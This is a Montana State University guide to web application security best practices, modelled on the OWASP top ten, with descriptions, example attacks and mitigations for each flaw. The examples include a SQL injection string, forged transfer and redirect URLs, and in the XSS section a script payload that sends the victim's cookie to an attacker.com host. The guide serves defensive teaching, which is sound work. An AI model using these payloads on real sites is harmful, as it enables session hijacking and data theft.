Montana State University

Web Application Best Practices

The Secure Web Applications Group has assembled a list of best practices to address the most common security threats currently plaguing web applications. We have modeled this list based on the OWASP list of top ten threats. Where applicable we have made recommendations specific to MSU's web environment.

Top 10 List

  1. Injection
  2. Cross Site Scripting (XSS)
  3. Failure to Restrict URL Access
  4. Insufficient Transport Layer Protection
  5. Insecure Direct Object References
  1. Cross Site request Forgery
  2. Unvalidated Redirects and Forwards
  3. Broken Authentication and Session Management
  4. Security Misconfiguration
  5. Insecure Cryptographic Storage

1. Injection next Next page

Description Examples Mitigation
Injection flaws, particularly SQL injection, are common in web applications. Injection occurs when user-supplied data is submitted as part of a command or query. The attacker’s hostile data tricks the application into executing unintended commands or changing data.
  • Given this piece of code which inserts user input directly into a query

    $sql = " SELECT fieldlist FROM table WHERE email = ’ $_POST[’ EMAIL ’]’ " ;

    The developer is expecting the user to submit a valid email address. However, there is nothing stopping a malicious user from submitting a srting that entirely changes the query. Suppose the attacker submits x ’ or ’ x ’ = ’ x ’.
    The query now becomes:

    $sql = "SELECT fieldlist FROM table WHERE email = ’ x ’ or ’ x ’ = ’ x ’ ;

    Since ’ x ’ = ’ x ’ is always true. The query will return every record in the table. This is a trivial example however this technique can be used to construct much more damaging queries.

Preventing injection requires keeping un-trusted data separate from commands and queries.

  • The preferred option is to use a safe API that avoids the use of the interpreter entirely or provides a parameterized interface.
  • If a parameterized API is not available, you should carefully escape special characters using the specific escape syntax for that interpreter (e.g. for MySQL use the mysql_real_escape_string function).
  • Positive or white list input validation with appropriate canonicalization is also recommended, but is not a complete defense as many applications require special characters in their input.

2. Cross Site Scripting (XSS)Next page previous|next Next page

Description Examples Mitigation
XSS flaws occur whenever an application takes user supplied data and sends it to a web browser without first validating or encoding that content. XSS allows attackers to execute script in the victim's browser that can hijack user sessions, deface web sites, possibly introduce worms, etc.

The application uses un-trusted data in the construction of the following HTML snippet without validation or escaping:

(String) page += "<input name= ’ creditcard ’ type= ’ TEXT ’ value=’ " + request.getParameter("CC") + "’ > " ;

The attacker modifies the ’CC’ parameter in their browser to:

’><script> document.location= ’http://www.attacker.com/cgi-bin/cookie.cgi?foo=’+document.cookie</script>’.

This causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session.

Preventing XSS requires keeping un-trusted data separate from active browser content.

  • The preferred option is to properly escape all un-trusted data (any user submitted data) based on the HTML context (body, attribute, JavaScript, CSS, or URL) that the data will be placed into. Developers need to include this escaping in their applications unless their UI framework does this for them.
  • Positive or "whitelist" input validation with appropriate canonicalization and decoding is also recommended as it helps protect against XSS, but is not a complete defense as many applications require special characters in their input. Such validation should, as much as possible, decode any encoded input, and then validate the length, characters, format, and any business rules on that data before accepting the input.

3. Failure to Restrict URL Access  Previous page previous|next Next page

Description Examples Mitigation
Frequently, an application only protects sensitive functionality by preventing the display of links or URLs to unauthorized users. Attackers can use this weakness to access and perform unauthorized operations by accessing those URLs directly.

The attacker simply force browses to target URLs. Consider the following URLs which are both supposed to require authentication. Admin rights are also required for access to the "admin_getappInfo" page.

http://example.com/app/getappInfo
http://example.com/app/admin_getappInfo

If the attacker is not authenticated, and access to either page is granted, then unauthorized access was allowed. If an authenticated, non-admin, user is allowed to access the "admin_getappInfo" page, this is a flaw, and may lead the attacker to more improperly protected admin pages.

Such flaws are frequently introduced when links and buttons are simply not displayed to unauthorized users, but the application fails to protect the pages they target.

Preventing unauthorized URL access requires selecting an approach for requiring proper authentication and proper authorization for each page. Frequently, such protection is provided by one or more components external to the application code. Regardless of the mechanism(s), all of the following are recommended:

  • The authentication and authorization policies be role based, to minimize the effort required to maintain these policies.
  • The policies should be highly configurable, in order to minimize any hard coded aspects of the policy.
  • The enforcement mechanism(s) should deny all access by default, requiring explicit grants to specific users and roles for access to every page.
  • If the page is involved in a workflow, check to make sure the conditions are in the proper state to allow access.

4. Insufficient Transport Layer Protection  Previous page previous|next Next page

Description Examples Mitigation
Applications frequently fail to authenticate, encrypt, and protect the confidentiality and integrity of sensitive network traffic. When they do, they sometimes support weak algorithms, use expired or invalid certificates, or do not use them correctly.
Scenario #1:
A site simply doesn’t use SSL for all pages that require authentication. Attacker simply monitors network traffic (like an open wireless or their neighborhood cable modem network), and observes an authenticated victim’s session cookie. Attacker then replays this cookie and takes over the user’s session.
Scenario #2:
A site has improperly configured SSL certificate which causes browser warnings for its users. Users have to accept such warnings and continue, in order to use the site. This causes users to get accustomed to such warnings. Phishing attack against the site’s customers lures them to a lookalike site which doesn’t have a valid certificate, which generates similar browser warnings. Since victims are accustomed to such warnings, they proceed on and use the phishing site, giving away passwords or other private data.
Scenario #3:
A site simply uses a standard database connection. If the database and web server are in different physical locations then the information (e.g. database name, user, and password) can be viewed as it goes across the network.

Providing proper transport layer protection can affect the site design. It’s easiest to require SSL for the entire site. For performance reasons, some sites use SSL only on private or sensitive pages. However the overhead of SSL is not that great and it is rarely worth the gain in performance considering the risk of not encrypting sensitive information. At a minimum, do all of the following:

  1. Require SSL for all sensitive pages. Non-SSL requests to these pages should be redirected to the SSL page. Redirection should occur globally for all sensitive areas, not via an included script on each page. (e.g. wordpress users: do not rely on wordpress settings to enforce SSL encryption. It is easy to miss this setting or overwrite it during an upgrade. Instead rely on the web server to require SSL encryption for the entire directory).
  2. Set the ’secure’ flag on all sensitive cookies.
  3. Ensure your certificate is valid, not expired, not revoked, and matches all domains used by the site.
  4. Do not use self-signed certificates as this "trains" users to ignore invalid certificate warnings.
  5. Backend and other connections (e.g. database connections that go across the network) should also use SSL or other encryption technologies.

5. Insecure Direct Object References  Previous page previous|next Next page

Description Examples Mitigation
Retrieval of a user record occurs in the system based on some key value that is under user control (e.g. a value the user submits or a URL string that can be manipulated by the user). The key would typically identify a user related record stored in the system and would be used to lookup that record for presentation to the user. It is likely that an attacker would have to be an authenticated user in the system. However, the authorization process would not properly check the data access operation to ensure that the authenticated user performing the operation has sufficient entitlements to perform the requested data access, hence bypassing any other authorization checks present in the system.

The application uses unverified data in a SQL call that is accessing account information:

String query = "SELECT * FROM accts WHERE account = ?";
PreparedStatement pstmt = connection.prepareStatement(query , ... );
pstmt.setString( 1, request.getParameter("acct"));
ResultSet results = pstmt.executeQuery();

The attacker simply modifies the ’acct’ parameter in their browser to send whatever account number they want. If not verified, the attacker can access any user’s account, instead of only the intended customer’s account.

http://example.com/app/accountInfo?acct=notmyacct

Preventing insecure direct object references requires selecting an approach for protecting each user accessible object (e.g., object number, filename):

  • Use per user or session indirect object references. This prevents attackers from directly targeting unauthorized resources.
  • Check access. Each use of a direct object reference from an un-trusted source must include an access control check to ensure the user is authorized for the requested object.

6. Cross-Site Request Forgery (CSRF)  Previous page previous|next Next page

Description Examples Mitigation
When a web server is designed to receive a request from a client without any mechanism for verifying that it was intentionally sent, then it might be possible for an attacker to trick a client into making an unintentional request to the web server which will be treated as an authentic request. This can be done via a URL, image load, XMLHttpRequest, etc. and can result in data disclosure or unintended code execution.

The application allows a user to submit a state changing request that does not include anything secret. Like so:

http://example.com/app/transferFunds?amount=1500&destinationAccount=4673243243

So, the attacker constructs a request that will transfer money from the victim’s account to their account, and then embeds this attack in an image request or iframe stored on various sites under the attacker’s control.

If the victim visits any of these sites while already authenticated to example.com, any forged requests will include the user’s session info, inadvertently authorizing the request.

Preventing CSRF requires the inclusion of a unpredictable token in the body or URL of each HTTP request. Such tokens should at a minimum be unique per user session, but can also be unique per request.

  • The preferred option is to include the unique token in a hidden field. This causes the value to be sent in the body of the HTTP request, avoiding its inclusion in the URL, which is subject to exposure (even if using an encrypted connection).
  • The unique token can also be included in the URL itself, or a URL parameter. However, such placement runs the risk that the URL will be exposed to an attacker, thus compromising the secret token. (slightly mitigated if renewed each request)

7. Unvalidated Redirects and Forwards  Previous page previous|next Next page

Description Examples Mitigation
Web applications frequently redirect and forward users to other pages and websites, and use un-trusted data to determine the destination pages. Without proper validation, attackers can redirect victims to phishing or malware sites, or use forwards to access unauthorized pages.
Scenario #1:
The application has a page called "redirect.php" which takes a single parameter named "url". The attacker crafts a malicious URL that redirects users to a malicious site that performs phishing and installs malware.
http://www.example.com/redirect.php?url=evil.com
Scenario #2:
The application uses forward to route requests between different parts of the site. To facilitate this, some pages use a parameter to indicate where the user should be sent if a transaction is successful. In this case, the attacker crafts a URL that will pass the application’s access control check and then forward the attacker to an administrative function that she would not normally be able to access.
http://www.example.com/boring.php?fwd=admin.php

Safe use of redirects and forwards can be done in a number of ways:

  1. Simply avoid using redirects and forwards.
  2. If used, don’t involve user parameters in calculating the destination. This can usually be done.
  3. If destination parameters can’t be avoided, ensure that the supplied value is valid, and authorized for the user. It is recommended that any such destination parameters be a mapping value, rather than the actual URL or portion of the URL, and that server side code translate this mapping to the target URL. Avoiding such flaws is extremely important as they are a favorite target of phishers trying to gain the user’s trust.

8. Broken Authentication and Session Management  Previous page previous|next Next page

Description Examples Mitigation
Authentication and session management includes all aspects of handling user authentication and managing active sessions. Authentication is a critical aspect of this process, but even solid authentication mechanisms can be undermined by flawed credential management functions, including password change, forgot my password, remember my password, account update, and other related functions. Because "walk by" attacks are likely for many web applications, all account management functions should require re-authentication even if the user has a valid session id.
Scenario #1:
Airline reservations application supports URL rewriting, putting session IDs in the URL:
http://example.com/sale/saleitems; jsessionid=2P0OC2JDPX..LPSKHCJUN2JV?dest=Hawaii
An authenticated user of the site wants to let his friends know about the sale. He e-mails the above link without knowing he is also giving away his session ID. When his friends use the link they will use his session and credit card
Scenario #2:
Application’s timeouts aren’t set properly. User uses a public computer to access site. Instead of selecting "logout" the user simply closes the browser tab and walks away. Attacker uses the same browser an hour later, and that browser is still authenticated.
Scenario #3:
Insider or external attacker gains access to the system’s password database. User passwords are not encrypted, exposing every users’ password to the attacker.
Scenario #4:
Insider or external attacker gains access to an applcations database. NetId’s are stored plain text. The attacker now has a list of user names from which to launch brute force password attacks on any other application that uses NetId’s to authenticate users.

When possible MSU applications should authenticate users against the MSU directory using netid and password. If netid’s are stored for authorization purposes they must be encrypted. By relying on the directory server to authenticate users many of the preventative measures listed below are met. When possible applications should not rely on their own authentication mechanism but should use provided authentication tools. Contact websecurity@montana.edu for more information about the recommended authentication tools.

Password Strength
Passwords should have restrictions that require a minimum size and complexity for the password. Complexity typically requires the use of minimum combinations of alphabetic, numeric, and/or non-alphanumeric characters in a user’s password (e.g., at least one of each). Users should be required to change their password periodically. Users should be prevented from reusing previous passwords.
Password Use
Users should be restricted to a defined number of login attempts per unit of time and repeated failed login attempts should be logged. Passwords provided during failed login attempts should not be recorded, as this may expose a user’s password to whoever can gain access to this log. The system should not indicate whether it was the username or password that was wrong if a login attempt fails. Users should be informed of the date/time of their last successful login and the number of failed access attempts to their account since that time.
Password Change Controls
A single password change mechanism should be used wherever users are allowed to change a password, regardless of the situation. Users should always be required to provide both their old and new password when changing their password (like all account information). If forgotten passwords are emailed to users, the system should require the user to reauthenticate whenever the user is changing their e-mail address, otherwise an attacker who temporarily has access to their session (e.g., by walking up to their computer while they are logged in) can simply change their e-mail address and request a ’forgotten’ password be mailed to them.
Password Storage
If an application needs to maintain user lists for authorization or cross-referencing it should store only the (hashed) username or netid of each user. All passwords must be stored in either hashed or encrypted form to protect them from exposure, regardless of where they are stored. Hashed form is preferred since it is not reversible. Passwords should never be hardcoded in any source code. Decryption keys must be strongly protected to ensure that they cannot be grabbed and used to decrypt the password file.
Protecting Credentials in Transit
The only effective technique is to encrypt the entire login transaction using something like SSL. Simple transformations of the password such as hashing it on the client prior to transmission provide little protection as the hashed version can simply be intercepted and retransmitted even though the actual plaintext password might not be known.
Session ID Protection
Ideally a user’ entire session should be protected via SSL. If this is done, then the session ID (e.g., session cookie) cannot be grabbed off the network, which is the biggest risk of exposure for a session ID. If SSL is not viable for performance or other reasons then session IDs themselves must be protected in other ways. First, they should never be included in the URL as they can be cached by the browser, sent in the referrer header, or accidentally forwarded to a ’friend’. Session IDs should be long, complicated, random numbers that cannot be easily guessed. Session IDs can also be changed frequently during a session to reduce how long a session ID is valid. Session IDs must be changed when switching to SSL, authenticating, or other major transitions. Session IDs chosen by a user should never be accepted.
Account Lists
If at all possible MSU applications should avoid storing user account names or netids. Systems should be designed to avoid allowing users to gain access to a list of the account names on the site. If lists of users must be presented, it is recommended that some form of pseudonym (screen name) that maps to the actual account be listed instead. That way, the pseudonym can’t be used during a login attempt or some other hack that goes after a user’s account.
Browser Caching
Authentication and session data should never be submitted as part of a GET, POST should always be used instead. Authentication pages should be marked with all varieties of the no cache tag to prevent someone from using the back button in a user’s browser to backup to the login page and resubmit the previously typed in credentials. Many browsers now support the autocomplete=false flag to prevent storing of credentials in autocomplete caches.
Trust Relationships
Your site architecture should avoid implicit trust between components whenever possible. Each component should authenticate itself to any other component it is interacting with unless there is a strong reason not to (such as performance or lack of a usable mechanism). If trust relationships are required, strong procedural and architecture mechanisms should be in place to ensure that such trust cannot be abused as the site architecture evolves over time.

9. Security Misconfiguration  Previous page previous|next Next page

Description Examples Mitigation
Responsibly managing Web application security often involves the expertise of both developers and administrators and require members from both sides of the project to properly ensure the security of a site’s application. This is the case with respect to configuration. The Secure Web Applications Group (SWAG) is a forum where developers and administrators can get together monthly to discuss such issues.
Scenario #1:
Your application relies on a powerful framework like Struts or Spring. XSS flaws are found in these framework components you rely on. An update is released to fix these flaws but you don’t update your libraries. Until you do, attackers can easily find and exploit these flaws in your app.
Scenario #2:
The app server admin console is automatically installed and not removed. Default accounts aren’t changed. Attacker discovers the standard admin pages are on your server, logs in with default passwords, and takes over.
Scenario #3:
Directory listing is not disabled on your server. Attacker discovers she can simply list directories to find any file. Attacker finds and downloads all your compiled Java classes, which she reverse engineers to get all your custom code. She then finds a serious access control flaw in your application.
Scenario #4:
Application server configuration allows stack traces to be returned to users, potentially exposing underlying flaws. Attackers love the extra information error messages provide.
Scenario #5
You manage a Wordpress site. Some areas of the site are password protected. You have configured Wordpress to use SSL when users access the login pages. An upgrade is available and you apply it not realizing the upgrade erased the settings that require SSL on the login pages. Submitted passwords are now sent in plain text across the network.

The primary recommendations for developers are to establish all of the following:

  1. Development and production environments should be configured identically. This process should be automated to minimize the effort required to setup a new secure environment.
  2. Properly manage file permissions - websites should insure that all directory and file permissions are set to the least permissions necessary
  3. Consider running scans and doing audits periodically to help detect future mis-configurations or missing patches. The Enterprise security Group offers a free web application scanning service. Click here for more information.
  4. Update code libraries
  5. Web based database tools (e.g. phpmyadmin) are often installed incorrectly. If your MySQL database is provided by ITC use our database management tool.
  6. Content Management Systems (cms) are also problematic when it comes to security. (See our recommendations for securing Wordpress)
  7. Do not store application configuration files within the web root.

10. Insecure Cryptographic Storage Previous pageprevious

Description Examples Mitigation
The first thing you have to determine is which data is sensitive enough to require encryption. For example, passwords, account names, student records, health records, and personal information should be encrypted anywhere it is stored long term.
Scenario #1:
An application encrypts SSNs in a database to prevent exposure to end users. However, the database is set to automatically decrypt queries against the credit card columns, allowing an SQL injection flaw to retrieve all the credit cards in cleartext. The system should have been configured to allow only back end applications to decrypt them, not the front end web application.
Scenario #2:
An Application uses basic authentication and resides on a multi-user system. The password file is stored outside the web root so that it cannot be dowloaded via the web. However other users on the same machine can read your files via the UNIX shell if the file is not properly protected. Another account on the machine is hacked and your password file becomes exposed. Because basic authentication does not use true encryption it is trivial to decode the passwords.

For all data deamed sensitive or confidential ensure :

  1. It is encrypted everywhere it is stored long term, particularly in backups of this data.
  2. Only authorized users can access decrypted copies of the data (i.e., access control – See #4 and #8).
  3. A strong standard encryption algorithm is used.